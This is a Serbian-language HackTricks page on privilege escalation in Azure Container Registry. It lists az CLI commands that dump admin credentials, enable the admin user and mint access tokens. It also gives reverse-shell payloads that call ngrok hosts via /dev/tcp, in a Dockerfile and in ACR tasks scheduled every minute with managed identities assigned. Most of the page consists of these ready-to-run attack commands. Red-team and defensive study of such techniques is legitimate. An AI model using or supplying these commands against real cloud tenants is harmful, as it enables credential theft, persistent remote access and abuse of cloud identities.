Az - Azure Container Registry Privesc

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Container Registry

Za više informacija pogledajte:

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Ova dozvola omogućava korisniku da prikaže administratorske akreditive ACR-a. Ovo je korisno za dobijanje punog pristupa registru.

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

U slučaju da admin kredencijali nisu omogućeni, takođe će vam biti potrebna dozvola Microsoft.ContainerRegistry/registries/write da ih omogućite sa:

bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Ove dozvole omogućavaju korisniku da napravi novi token sa lozinkama za pristup registru.

Da biste koristili az cli za generisanje kao u sledećem primeru, takođe će vam biti potrebne dozvole Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Ove dozvole omogućavaju korisniku da izgradi i pokrene sliku u registru. Ovo se može koristiti za izvršavanje koda u kontejneru.

[!WARNING] Međutim, slika će biti izvršena u sandbox okruženju i bez pristupa usluzi metapodataka. To znači da kontejner neće imati pristup metapodacima instance, tako da ovo zapravo nije korisno za eskalaciju privilegija.

bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

Ovo je glavna dozvola koja omogućava kreiranje i ažuriranje zadatka u registru. Ovo se može koristiti za izvršavanje koda unutar kontejnera sa upravljanom identitetom koji je povezan sa njim u kontejneru.

Ovo je primer kako izvršiti reverse shell u kontejneru sa sistemskim upravljanim identitetom koji je povezan sa njim:

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Drugi način da dobijete RCE iz zadatka bez korišćenja spoljnog repozitorijuma je korišćenje komande az acr task create sa --cmd flagom. Ovo će vam omogućiti da pokrenete komandu u kontejneru. Na primer, možete pokrenuti reverznu ljusku sa sledećom komandom:

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

tip

Imajte na umu da za dodeljivanje identiteta koji upravlja sistemom ne trebate posebne dozvole, iako mora biti omogućeno unapred u registru i dodeljene neke dozvole da bi bilo korisno.

Da biste dodelili identitet koji upravlja korisnikom takođe, potrebna vam je dozvola Microsoft.ManagedIdentity/userAssignedIdentities/assign/action da biste uradili:

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Da ažurirate repozitorijum postojeće zadatka, možete uraditi:

bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Sa ovom dozvolom je moguće importovati sliku u azure registry, čak i bez lokalnog posedovanja slike. Međutim, imajte na umu da ne možete importovati sliku sa oznakom koja već postoji u registry.

bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Da biste uklonili ili obrisali određenu oznaku slike iz registra, možete koristiti sledeću komandu. Međutim, imajte na umu da će vam biti potreban korisnik ili token sa dovoljnim dozvolama da to uradite:

bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks